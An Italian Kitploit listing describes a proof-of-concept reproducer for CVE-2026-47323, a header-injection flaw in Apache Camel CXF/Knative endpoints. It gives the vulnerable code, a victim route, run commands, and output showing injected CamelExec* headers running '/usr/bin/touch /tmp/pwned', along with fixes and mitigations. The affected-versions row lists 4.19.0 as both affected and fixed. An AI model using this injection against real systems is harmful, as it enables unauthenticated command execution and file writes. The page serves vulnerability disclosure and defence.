Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-47323 — Reproducer per CVE-2026-47323: mancanza del filtraggio in entrata in Apache Camel CXF/Knative HeaderFilterStrategy, consentendo l'iniezione degli header di controllo Camel (RCE tramite camel-exec) attraverso gli endpoint CXF-RS/CXF-SOAP/Knative (corretto in 4.14.6/4.18.2/4.19.0) | Kitploit
Strumenti/GitHubGitHub/oscerd/cve-2026-47323
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneRed Teaming
GitHuboscerd/cve-2026-47323

CVE-2026-47323

Reproducer per CVE-2026-47323: mancanza del filtraggio in entrata in Apache Camel CXF/Knative HeaderFilterStrategy, consentendo l'iniezione degli header di controllo Camel (RCE tramite camel-exec) attraverso gli endpoint CXF-RS/CXF-SOAP/Knative (corretto in 4.14.6/4.18.2/4.19.0)

Vedi Repository
1 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

camel-cxf-rest / camel-cxf / camel-knative-http - Riproduttore di Iniezione di Intestazioni (CVE-2026-47323)

Questo progetto dimostra un'iniezione di intestazioni di messaggio nelle strategie di filtro delle intestazioni HTTP di CXF e Knative di Apache Camel, tracciata come CVE-2026-47323. CxfRsHeaderFilterStrategy (camel-cxf-rest), CxfHeaderFilterStrategy (camel-cxf-transport) e KnativeHttpHeaderFilterStrategy (camel-knative-http) filtrano solo le intestazioni interne di Camel in uscita (setOutFilterStartsWith), senza configurare il filtraggio in entrata (setInFilterStartsWith). Di conseguenza, un attaccante non autenticato può iniettare intestazioni interne di Camel (es. CamelExecCommandExecutable, CamelFileName) tramite richieste HTTP verso endpoint CXF-RS o CXF-SOAP. Quando una route inoltra messaggi da questi endpoint a componenti guidati da intestazioni come camel-exec o camel-file, le intestazioni iniettate sovrascrivono i valori configurati — consentendo esecuzione remota di codice o scritture arbitrarie di file.

Questa PoC utilizza la superficie CXF-RS (JAX-RS): un CamelExecCommandExecutable iniettato trasforma un innocuo echo in esecuzione arbitraria di comandi.

Avviso: https://camel.apache.org/security/CVE-2026-47323.html

Riepilogo della vulnerabilità

Questo riproduttore fissa camel 4.18.1 — l'ultima release affetta sul ramo 4.18.x (la correzione è arrivata in 4.18.2). Stesso schema di camel-undertow (CVE-2025-30177), del più ampio filtro per le intestazioni in entrata (CVE-2025-27636, CVE-2025-29891) e delle strategie non-HTTP (CVE-2026-40453).

Dettagli tecnici

root@kitploit:~
// CxfRsHeaderFilterStrategy.initialize() (affected 4.18.1) — only the OUTBOUND filter is configured:
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
// (no setInFilterStartsWith(...), so inbound Camel* headers are NOT filtered)

// DefaultCxfRsBinding.populateExchangeFromCxfRsRequest() — inbound HTTP headers copied through the strategy:
for (Map.Entry<String, List<String>> entry : headers.entrySet()) {
    if (headerFilterStrategy.applyFilterToExternalHeaders(entry.getKey(), entry.getValue(), camelExchange)
            || entry.getValue().isEmpty()) {
        // dropped — but with no inbound filter, CamelExecCommandExecutable is NOT dropped
    } else {
        camelMessage.setHeader(entry.getKey(), entry.getValue().get(0));   // <-- injected header lands here
    }
}

La correzione (4.14.6 / 4.18.2 / 4.19.0) aggiunge setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH) a queste strategie, quindi le intestazioni in entrata Camel* / camel* vengono eliminate.

La route vittima

root@kitploit:~
from("cxfrs://http://0.0.0.0:9000/service?resourceClasses=com.example.ApiResource")
    .to("exec:echo?args=hello")          // the author's fixed, harmless command
    .setBody(constant("ok\n"));

Un endpoint JAX-RS (GET /service/api/ping) le cui richieste vengono passate a un comando shell fisso. Il producer camel-exec onora un'intestazione in entrata CamelExecCommandExecutable in preferenza all'echo configurato.

Struttura del repository

Tutto gira in un'unica app autonoma: l'endpoint CXF-RS, il sink camel-exec e il driver dell'attaccante.

root@kitploit:~
CVE-2026-47323/
├── pom.xml                 # camel-cxf-rest + camel-exec 4.18.1 (+ CXF undertow transport)
├── Dockerfile
├── docker-compose.yml      # single self-contained service
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── ApiResource.java        # JAX-RS contract: GET /api/ping
    │   ├── VictimRoute.java        # cxfrs consumer -> exec:echo
    │   └── ExploitController.java  # attacker: GET /ping with injected CamelExec* headers
    └── resources/
        └── application.properties

Prerequisiti

  • Java 17+ e Maven 3.8+
  • Docker (opzionale, per l'esecuzione containerizzata)

Passaggi per la riproduzione

Opzione A — Docker (consigliata)

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker exec cve-2026-47323 ls -l /tmp/pwned      # created by the injected command
docker compose down

Opzione B — esegui il jar direttamente

root@kitploit:~
mvn clean package -DskipTests
java -jar target/cve-2026-47323-cxfrs-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack
ls -l /tmp/pwned

Output atteso

root@kitploit:~
marker before: false

=== 1) Legitimate request (no injected headers) ===
  response: ok
  marker created: false

=== 2) Injected CamelExecCommandExecutable=/usr/bin/touch CamelExecCommandArgs=/tmp/pwned ===
  response: ok
  marker created: true

>>> Header-injection / RCE proof — an unauthenticated HTTP client made the route run an
>>> arbitrary command by injecting CamelExec* headers into a CXF-RS request (touch /tmp/pwned): true

Vettori di attacco

Qualsiasi route che inoltra messaggi da un endpoint CXF-RS, CXF-SOAP o Knative-HTTP a un producer guidato da intestazioni. Oltre a CamelExecCommandExecutable (RCE tramite camel-exec), CamelFileName consente scritture arbitrarie di file tramite camel-file, e altre intestazioni di controllo Camel* possono pilotare altri producer.

Correzione consigliata

Esegui l'aggiornamento a 4.14.6 / 4.18.2 / 4.19.0. Le strategie interessate configurano quindi setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH), eliminando le intestazioni in entrata Camel*.

Mitigazione

Fino all'aggiornamento, rimuovi le intestazioni di controllo Camel dai messaggi in entrata prima di qualsiasi producer downstream (.removeHeaders("Camel*") e .removeHeaders("camel*") all'inizio della route) e richiedi l'autenticazione sull'endpoint CXF / Knative.

Dichiarazione di non responsabilità

Questo riproduttore è fornito solo per ricerca sulla sicurezza e test autorizzati, per una vulnerabilità divulgata pubblicamente e corretta. Non usarlo contro sistemi senza esplicita autorizzazione.

Scarica lo strumento
ProprietàValore
Componentecamel-cxf-rest (CxfRsHeaderFilterStrategy), camel-cxf-transport (CxfHeaderFilterStrategy), camel-knative-http (KnativeHttpHeaderFilterStrategy)
CWECWE-20: Validazione dell'input non corretta
ImpattoInietta intestazioni di controllo Camel tramite una richiesta HTTP → sovrascrive un producer downstream guidato da intestazioni → RCE (camel-exec) o scrittura arbitraria di file (camel-file)
PrerequisitiUn endpoint CXF-RS / CXF-SOAP / Knative che inoltra a un producer guidato da intestazioni; non autenticato quando l'endpoint è
Versioni interessateDa 3.18.0 prima di 4.14.6, da 4.15.0 prima di 4.18.2, 4.19.0 (corretta in 4.19.0)
Versioni corrette4.14.6, 4.18.2, 4.19.0
CreditiQuac Tran